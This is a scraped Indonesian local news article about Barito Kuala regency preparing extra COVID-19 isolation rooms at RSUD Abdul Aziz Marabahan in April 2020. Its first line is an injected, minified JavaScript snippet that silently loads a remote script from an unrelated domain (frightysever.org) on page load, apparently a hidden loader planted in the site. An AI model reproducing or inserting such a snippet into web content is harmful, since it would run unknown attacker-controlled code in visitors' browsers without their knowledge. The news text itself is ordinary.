(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kanal

Antisipasi Lonjakan Kasus Covid-19, Pemkab Batola Siapkan Tambahan Ruang Isolasi

KANALKALIMANTAN.COM, MARABAHAN – Cepat tanggap dalam penanganan Covid-19 terus dilakukan Pemkab Batola. Mengantisipasi lonjakan pasien positif Covid-19, disediakan ruang isolasi tambahan di RSUD Abdul Aziz Marabahan.
Keputusan menambah ruang isolasi ini disampaikan Pemkab Batola saat rapat kordinasi berama Tim Gugis Tugas Covid-19 dan pihak terkait, Senin (20/4/2020).

Rapat yang dipimpin Wakil Bupati Batola Rahmadian Noor, membahas berbagai langkah dan persiapan penanganan Covid-19. Termasuk menyangkut keberadaan pasien ODP/OTG yang dikarantina di SKB Marabahan, ketersediaan sarana, petugas, kelangkapan penunjang hingga penambahan ruang isolasi di RSUD Abdul Aziz Marabahan.

“Semuanya serba darurat dan memerlukan tindakan cepat. Karenanya dalam permasalahan ini membutuhkan kerja bersama dan dukungan semua pihak, baik tim gugus tugas maupun aparat terkait lainnya,” kata Rahmadi.

Penambahan ruang isolasi ini dibenarkan Direktur RSUD Abdul Aziz Marabahan Fathurrahman. Menurut Fathurrahman saat ini, mereka masih menyimpan ruang isolasi baru. Diperkirakan ruang isolasi ini bisa menampung 24 pasien.

“Ruang baru ini tadinya dipertukarkan untuk pasien inap kelas I dan II,” ujarnya sembari mengatakan ruang kelas tersebut ditutup sementara waktu bagi pasien.

Dengan ditutupnya ruangan kelas Idan II, menurut cerita Fathurrahman, sedikit mengurangi pilihan ruangan inap pasien. Mereka hanya punya dua pilihan. Ruangan VIP atau ruangan kelas III. “Untuk sementara ini hanya ada dua pilihan ruangan yang tersedia,” ujarnya.(kanalkalimantan.com/rdy)

Reporter : Rdy
Editor : Chell